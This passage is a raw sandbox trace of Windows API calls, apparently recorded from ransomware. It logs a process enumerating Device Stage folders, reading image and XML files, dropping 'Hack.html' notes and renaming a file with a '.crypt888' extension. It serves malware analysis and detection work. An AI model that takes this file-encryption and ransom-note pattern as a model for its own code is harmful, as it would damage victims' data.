lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x63 [0086.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.862] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.862] GetFileType (hFile=0x174) returned 0x1 [0086.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.862] GetFileType (hFile=0x174) returned 0x1 [0086.862] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x70c1 [0086.862] ReadFile (in: hFile=0x174, lpBuffer=0x27cc03c, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27cc03c*, lpNumberOfBytesRead=0x39ecbc*=0x70c1, lpOverlapped=0x0) returned 1 [0086.863] CloseHandle (hObject=0x174) returned 1 [0086.878] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x63 [0086.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.878] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0086.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0086.879] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x64 [0086.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.879] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.880] GetFileType (hFile=0x174) returned 0x1 [0086.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.880] GetFileType (hFile=0x174) returned 0x1 [0086.880] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x99d3 [0086.880] ReadFile (in: hFile=0x174, lpBuffer=0x2843af0, nNumberOfBytesToRead=0x99d3, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2843af0*, lpNumberOfBytesRead=0x39ecbc*=0x99d3, lpOverlapped=0x0) returned 1 [0086.880] CloseHandle (hObject=0x174) returned 1 [0086.925] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x64 [0086.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.925] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0086.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0086.927] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", lpFilePart=0x0) returned 0x61 [0086.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0086.927] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.927] GetFileType (hFile=0x174) returned 0x1 [0086.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0086.927] GetFileType (hFile=0x174) returned 0x1 [0086.928] WriteFile (in: hFile=0x174, lpBuffer=0x26cf818*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26cf818*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0086.928] CloseHandle (hObject=0x174) returned 1 [0086.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.929] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x57 [0086.929] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpFilePart=0x0) returned 0x58 [0086.929] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a428 [0086.929] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.929] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.929] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.929] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.929] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.929] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.930] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0086.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.930] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x57 [0086.930] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpFilePart=0x0) returned 0x58 [0086.930] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a428 [0086.930] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.931] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.931] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.931] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.931] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0086.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.931] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x66 [0086.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.931] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.931] GetFileType (hFile=0x174) returned 0x1 [0086.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.932] GetFileType (hFile=0x174) returned 0x1 [0086.932] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x1fad1 [0086.932] ReadFile (in: hFile=0x174, lpBuffer=0x36c8990, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x36c8990*, lpNumberOfBytesRead=0x39ecbc*=0x1fad1, lpOverlapped=0x0) returned 1 [0086.933] CloseHandle (hObject=0x174) returned 1 [0086.972] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x66 [0086.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.972] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0086.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0086.974] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0086.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.974] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.974] GetFileType (hFile=0x174) returned 0x1 [0086.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.974] GetFileType (hFile=0x174) returned 0x1 [0086.974] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x769 [0086.974] ReadFile (in: hFile=0x174, lpBuffer=0x2721500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2721500*, lpNumberOfBytesRead=0x39ecbc*=0x769, lpOverlapped=0x0) returned 1 [0086.975] CloseHandle (hObject=0x174) returned 1 [0087.016] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0087.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.016] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.018] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", lpFilePart=0x0) returned 0x61 [0087.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.018] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.018] GetFileType (hFile=0x174) returned 0x1 [0087.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.018] GetFileType (hFile=0x174) returned 0x1 [0087.018] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0087.018] ReadFile (in: hFile=0x174, lpBuffer=0x27720cc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27720cc*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0087.019] CloseHandle (hObject=0x174) returned 1 [0087.055] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", lpFilePart=0x0) returned 0x61 [0087.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.055] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.056] GetFileType (hFile=0x174) returned 0x1 [0087.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0087.056] GetFileType (hFile=0x174) returned 0x1 [0087.056] WriteFile (in: hFile=0x174, lpBuffer=0x27c0294*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x27c0294*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0087.057] CloseHandle (hObject=0x174) returned 1 [0087.057] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", lpFilePart=0x0) returned 0x61 [0087.057] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html.crypt888", lpFilePart=0x0) returned 0x6a [0087.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0087.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa9fde0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbaa9fde0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5166340, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0087.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0087.057] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\hack.html.crypt888")) returned 1 [0087.058] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x65 [0087.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.058] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.058] GetFileType (hFile=0x174) returned 0x1 [0087.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.058] GetFileType (hFile=0x174) returned 0x1 [0087.058] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x70c1 [0087.058] ReadFile (in: hFile=0x174, lpBuffer=0x27c16ac, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27c16ac*, lpNumberOfBytesRead=0x39ecbc*=0x70c1, lpOverlapped=0x0) returned 1 [0087.059] CloseHandle (hObject=0x174) returned 1 [0087.077] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x65 [0087.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.077] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.079] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html", lpFilePart=0x0) returned 0x61 [0087.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0087.079] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0087.080] GetFileType (hFile=0x174) returned 0x1 [0087.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0087.080] GetFileType (hFile=0x174) returned 0x1 [0087.080] WriteFile (in: hFile=0x174, lpBuffer=0x283a874*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x283a874*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0087.081] CloseHandle (hObject=0x174) returned 1 [0087.081] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html", lpFilePart=0x0) returned 0x3a [0087.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0087.081] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0087.082] GetFileType (hFile=0x174) returned 0x1 [0087.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0087.082] GetFileType (hFile=0x174) returned 0x1 [0087.082] WriteFile (in: hFile=0x174, lpBuffer=0x283d064*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x283d064*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0087.083] CloseHandle (hObject=0x174) returned 1 [0087.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0087.083] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2e [0087.083] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\", lpFilePart=0x0) returned 0x2f [0087.083] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x599f28 [0087.084] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0087.084] FindNextFileW (in: hFindFile=0x599f28, 